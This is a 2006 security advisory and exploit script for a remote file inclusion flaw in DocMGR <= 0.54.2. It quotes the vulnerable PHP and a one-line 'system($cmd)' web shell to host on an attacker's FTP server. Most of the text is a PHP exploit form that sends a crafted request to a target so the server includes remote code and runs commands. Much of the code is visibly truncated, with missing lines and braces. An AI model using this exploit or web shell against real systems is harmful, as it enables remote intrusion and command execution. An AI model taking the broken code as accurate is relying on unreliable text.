DocMGR <= 0.54.2 arbitrary remote inclusion Feb 12 2006 12:28AM
rgod autistici org
--------------- DocMGR <= 0.54.2 arbitrary remote inclusion --------------------

site: http://www.docmgr.org/
description: "DocMGR is a complete, web-based Document Management System (DMS).
It allows for the storage of any file type, and supports full-text indexing of
the most popular document formats. It is available in many different languages
and is easy to translae into new languages. DocMGR runs on PHP, the Apache
webserver, and Postgresql"
vulnerable code in modules/center/admin/accounts/process.php:


$pageAction = $_POST["pageAction"];
$includeModule = $_REQUEST["includeModule"];

if ($_REQUEST["accountId"]!=NULL) $accountId = $_REQUEST["accountId"];
elseif ($_SESSION["accountId"]!=NULL) $accountId = $_SESSION["accountId"];

if (!$includeModule && $accountId) $includeModule="accountprofile";

process our search string

if ($pageAction=="search") {

$searchString = $_REQUEST["searchString"];

$searchHeader = "<div class=\"toolHeader\">
Results For \"".$searchString."\"

$option = null;

if (defined("USE_LDAP")) {
if (defined("GLOBAL_ADMIN")) $option["search_base"] = LDAP_BASE;
else $option["search_base"] = SEARCH_BASE;

//create our search parameter array
$option = null;
$option["conn"] = $conn;
$option["searchParm"]["login"] = $searchString;
$option["searchParm"]["first_name"] = $searchString;
$option["searchParm"]["last_name"] = $searchString;
$option["wildcard"] = "last";

$searchResults = returnAccountList($option);

//if we find one match, load this account
if ($searchResults["count"]==1) {
$accountId = $searchResults["id"][0];
$pageAction = null;
$_POST["pageAction"] = null;
else {
$_SESSION["accountId"] = null;
$accountId = null;
$includeModule = null;


if ($accountId!=NULL) {

$_SESSION["accountId"] = $accountId;
$accountInfo = returnAccountInfo($conn,$accountId,LDAP_BASE);

//make sure this user can alter the account. If the account is an admin, then they cannot
if ($accountId!=USER_ID) {

//see if this user has permissions to edit other users
if (!bitset_compare(BITSET,MANAGE_USERS,ADMIN))
$siteErrorMessage = "You do not have permissions to edit other users\n";
else {

//see if this is an non-admin user trying to edit an administrator
if (!bitset_compare(BITSET,ADMIN,null)) {

$bitset_temp = returnUserBitset($conn,$accountId);
if (bitset_compare($bitset_temp,ADMIN,null))
$permErrorMessage = "You cannot edit this user. This user is an administrator.";




//processing for our sub module. We cannot call these with a function, or
//we do not get information passed from process to display like we want

$processPath = $siteModInfo["$includeModule"]["module_path"]."process.php";
$functionPath = $siteModInfo["$includeModule"]["module_path"]."function.php";
if (file_exists($functionPath)) include($functionPath);
if (file_exists($processPath)) include($processPath);


if short_open_tag = On in php.ini you can execute the script directly.
$includeModule var is not initizialized so, if register_globals = On, you can
set it to an index of your choice, ex: "suntzu" now
$siteModInfo["suntzu"]["module_path"] is not initizialized.

On PHP 4, with magic quotes = Off you can now include an arbitrary local
resource, poc:


on PHP 5 - on it the file_exists() function supports ftp resources... - you can
include from remote an arbitrary process.php or function.php file, poc:

password (at) somehost (dot) com [email concealed]/

if in ftp://username:password0 (at) somehost (dot) com [email concealed]/process.php we have code like this:

<?php system($cmd);?>

you can launch operating systems commands:

p://username:password (at) somehost (dot) com [email concealed]/


# ---docmgr_0542_incl_xpl.php 0.30 12/02/2006 #
# #
# DocMGR <= 0.54.2 remote commands execution exploit #
# coded by rgod #
# site: http://retrogod.altervista.org #
# #
# -> works against PHP5, with short_open_tag = On and register_globals = On #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu: "The quality of decision is like the well-timed swoop of a falcon #
# which enables it to strike and destroy its victim." #

ob_implicit_flush (1);

echo'<html><head><title> ** DocMGR <= 0.54.2 remote commands execution exploit**
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
** DocMGR <= 0.54.2 remote commands execution exploit** </p><p class="Stile6">a
script by rgod at <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a> </p> <table width="84%"><tr><td width="43%">
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input
type="text" name="host"> <span class="Stile5">* target (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/DocMgr/ or just / ) </span></p><p><input type="text" name="cmd"> <span
class="Stile5"> * specify a command </span> </p> <p> <input type="text"
name="FTP_LOCATION"><span class="Stile5"> * specify an ftp location (ex: ftp://u
sername:password (at) somehost (dot) com [email concealed])</span> </p> <p> <input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value)</span> </p>
<p><input type="text" name="proxy"><span class="Stile5"> send exploit through
an HTTP proxy (ip:port) </span> </p> <p> <input type="submit" name="Submit"

function show($headeri)
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1){
if ($ji==16) {
echo "<td>  </td>";
for ($li=0; $li<=15; $li++) {
echo "<td>".htmlentities_($headeri[$li+$ki])."</td>";
echo "</tr><tr>";
if (strlen($datai)==1) {
echo "<td>0".htmlentities($datai)."</td>";
else {
echo "<td>".htmlentities($datai)."</td> ";
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
echo "<td>  </td>";
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
echo "<td>".htmlentities($headeri[$li])."</td>";
echo "</tr></table>";

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='') {
$result = socket_connect($socket, $host, $port);
else {
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
else {
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";

function sendpacketii($packet)
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
if (!$ock) {
echo 'No response from '.htmlentities($host); die;
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid prozy...';die;
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
if (!$ock) {
echo 'No response from proxy...';die;
if ($proxy=='') {
while (!feof($ock)) {
else {
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
fclose($ock);echo nl2br(htmlentities($html));

echo "<span class=\"Stile5\">";

if (($host<>'') and ($path<>'') and ($cmd<>'') and ($FTP_LOCATION<>''))
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

# STEP X -> One and unique, arbitrary remote inclusion ...
$packet="GET ".$p."modules/center/admin/accounts/process.php?cmd=$cmd&includeModule=s
$packet.="&siteModInfo[suntzu][module_path]=$FTP_LOCATION/ HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: MiracleAlphaTest\r\n";
$packet.="Connection: Close\r\n\r\n";
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
{echo "Note: on ftp://somehost.com you need this code<br>
in process.php or function.php :<br>";
echo nl2br(htmlentities("
echo "Fill * required fields, optionally specify a proxy...";}
echo "</span>";

site: http://retrogod.altervista.org
mail: rgod at autistici org
original adivsory: http://retrogod.altervista.org/docmgr_0542_incl_xpl.html

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